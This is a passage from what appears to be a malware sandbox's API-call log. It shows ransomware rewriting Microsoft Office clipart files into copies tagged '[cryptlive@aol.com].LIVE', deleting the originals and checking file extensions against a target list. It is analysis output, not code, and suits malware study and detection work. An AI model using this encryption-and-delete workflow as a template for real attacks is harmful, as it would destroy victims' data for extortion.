dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.606] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0156.607] GetLastError () returned 0x0 [0156.607] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1f1c, lpOverlapped=0x0) returned 1 [0156.644] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0156.645] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.645] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.645] SetEndOfFile (hFile=0x1dc) returned 1 [0156.645] CloseHandle (hObject=0x1dc) returned 1 [0156.645] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.645] SetEndOfFile (hFile=0x1b8) returned 1 [0156.649] CloseHandle (hObject=0x1b8) returned 1 [0156.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf")) returned 1 [0156.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0156.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0156.651] lstrlenW (lpString=".doc") returned 4 [0156.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.651] lstrlenW (lpString=".docx") returned 5 [0156.651] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.651] lstrlenW (lpString=".pdf") returned 4 [0156.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.651] lstrlenW (lpString=".xls") returned 4 [0156.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.651] lstrlenW (lpString=".xlsx") returned 5 [0156.651] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.651] lstrlenW (lpString=".ppt") returned 4 [0156.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0156.651] lstrlenW (lpString=".zip") returned 4 [0156.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.651] lstrlenW (lpString=".rar") returned 4 [0156.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.651] lstrlenW (lpString=".bz2") returned 4 [0156.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.651] lstrlenW (lpString=".7z") returned 3 [0156.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0156.651] lstrlenW (lpString=".dbf") returned 4 [0156.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0156.651] lstrlenW (lpString=".1cd") returned 4 [0156.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0156.651] lstrlenW (lpString=".jpg") returned 4 [0156.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0156.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0156.651] lstrlenW (lpString=".doc") returned 4 [0156.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.652] lstrlenW (lpString=".docx") returned 5 [0156.652] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.652] lstrlenW (lpString=".pdf") returned 4 [0156.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.652] lstrlenW (lpString=".xls") returned 4 [0156.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.652] lstrlenW (lpString=".xlsx") returned 5 [0156.652] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.652] lstrlenW (lpString=".ppt") returned 4 [0156.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0156.652] lstrlenW (lpString=".zip") returned 4 [0156.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.652] lstrlenW (lpString=".rar") returned 4 [0156.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.652] lstrlenW (lpString=".bz2") returned 4 [0156.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.652] lstrlenW (lpString=".7z") returned 3 [0156.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0156.652] lstrlenW (lpString=".dbf") returned 4 [0156.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0156.652] lstrlenW (lpString=".1cd") returned 4 [0156.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0156.652] lstrlenW (lpString=".jpg") returned 4 [0156.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.652] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.652] lstrlenW (lpString="J0107500.WMF") returned 12 [0156.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0156.653] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4200) returned 1 [0156.653] CloseHandle (hObject=0x1b8) returned 1 [0156.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf")) returned 0x20 [0156.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0156.654] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.654] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0156.654] GetLastError () returned 0x0 [0156.654] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1068, lpOverlapped=0x0) returned 1 [0156.672] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1070, lpOverlapped=0x0) returned 1 [0156.673] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.673] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.674] SetEndOfFile (hFile=0x1dc) returned 1 [0156.674] CloseHandle (hObject=0x1dc) returned 1 [0156.674] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.674] SetEndOfFile (hFile=0x1b8) returned 1 [0156.679] CloseHandle (hObject=0x1b8) returned 1 [0156.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf")) returned 1 [0156.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0156.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0156.713] lstrlenW (lpString=".doc") returned 4 [0156.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.713] lstrlenW (lpString=".docx") returned 5 [0156.713] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0156.713] lstrlenW (lpString=".pdf") returned 4 [0156.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.713] lstrlenW (lpString=".xls") returned 4 [0156.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.713] lstrlenW (lpString=".xlsx") returned 5 [0156.713] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0156.713] lstrlenW (lpString=".ppt") returned 4 [0156.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0156.713] lstrlenW (lpString=".zip") returned 4 [0156.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.714] lstrlenW (lpString=".rar") returned 4 [0156.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.714] lstrlenW (lpString=".bz2") returned 4 [0156.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.714] lstrlenW (lpString=".7z") returned 3 [0156.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0156.714] lstrlenW (lpString=".dbf") returned 4 [0156.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0156.714] lstrlenW (lpString=".1cd") returned 4 [0156.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0156.714] lstrlenW (lpString=".jpg") returned 4 [0156.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0156.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0156.714] lstrlenW (lpString=".doc") returned 4 [0156.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.714] lstrlenW (lpString=".docx") returned 5 [0156.714] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0156.714] lstrlenW (lpString=".pdf") returned 4 [0156.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.714] lstrlenW (lpString=".xls") returned 4 [0156.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.714] lstrlenW (lpString=".xlsx") returned 5 [0156.714] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0156.714] lstrlenW (lpString=".ppt") returned 4 [0156.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0156.714] lstrlenW (lpString=".zip") returned 4 [0156.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.714] lstrlenW (lpString=".rar") returned 4 [0156.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.714] lstrlenW (lpString=".bz2") returned 4 [0156.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.715] lstrlenW (lpString=".7z") returned 3 [0156.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0156.715] lstrlenW (lpString=".dbf") returned 4 [0156.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0156.715] lstrlenW (lpString=".1cd") returned 4 [0156.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0156.715] lstrlenW (lpString=".jpg") returned 4 [0156.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.715] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.715] lstrlenW (lpString="J0107512.WMF") returned 12 [0156.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0156.715] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=11404) returned 1 [0156.716] CloseHandle (hObject=0x1e0) returned 1 [0156.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf")) returned 0x20 [0156.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0156.716] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.716] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0156.717] GetLastError () returned 0x0 [0156.717] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x2c8c, lpOverlapped=0x0) returned 1 [0156.734] WriteFile (in: hFile=0x1b0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2c90, lpOverlapped=0x0) returned 1 [0156.735] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.735] WriteFile (in: hFile=0x1b0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.735] SetEndOfFile (hFile=0x1b0) returned 1 [0156.735] CloseHandle (hObject=0x1b0) returned 1 [0156.735] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.736] SetEndOfFile (hFile=0x1e0) returned 1 [0156.738] CloseHandle (hObject=0x1e0) returned 1 [0156.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf")) returned 1 [0156.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0156.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0156.742] lstrlenW (lpString=".doc") returned 4 [0156.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.742] lstrlenW (lpString=".docx") returned 5 [0156.742] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.742] lstrlenW (lpString=".pdf") returned 4 [0156.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.742] lstrlenW (lpString=".xls") returned 4 [0156.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.742] lstrlenW (lpString=".xlsx") returned 5 [0156.742] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.742] lstrlenW (lpString=".ppt") returned 4 [0156.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0156.742] lstrlenW (lpString=".zip") returned 4 [0156.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.742] lstrlenW (lpString=".rar") returned 4 [0156.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.742] lstrlenW (lpString=".bz2") returned 4 [0156.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.742] lstrlenW (lpString=".7z") returned 3 [0156.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0156.743] lstrlenW (lpString=".dbf") returned 4 [0156.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0156.743] lstrlenW (lpString=".1cd") returned 4 [0156.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0156.743] lstrlenW (lpString=".jpg") returned 4 [0156.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0156.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0156.743] lstrlenW (lpString=".doc") returned 4 [0156.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString=".docx") returned 5 [0156.743] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.743] lstrlenW (lpString=".pdf") returned 4 [0156.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString=".xls") returned 4 [0156.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.743] lstrlenW (lpString=".xlsx") returned 5 [0156.743] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.743] lstrlenW (lpString=".ppt") returned 4 [0156.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0156.743] lstrlenW (lpString=".zip") returned 4 [0156.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.743] lstrlenW (lpString=".rar") returned 4 [0156.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString=".bz2") returned 4 [0156.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.743] lstrlenW (lpString=".7z") returned 3 [0156.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0156.843] lstrlenW (lpString=".dbf") returned 4 [0156.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0156.843] lstrlenW (lpString=".1cd") returned 4 [0156.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0156.843] lstrlenW (lpString=".jpg") returned 4 [0156.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.843] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.843] lstrlenW (lpString="J0107516.WMF") returned 12 [0156.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.913] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=14008) returned 1 [0156.913] CloseHandle (hObject=0x1fc) returned 1 [0156.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf")) returned 0x20 [0156.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.914] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.914] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.915] GetLastError () returned 0x0 [0156.915] ReadFile (in: hFile=0x1fc, 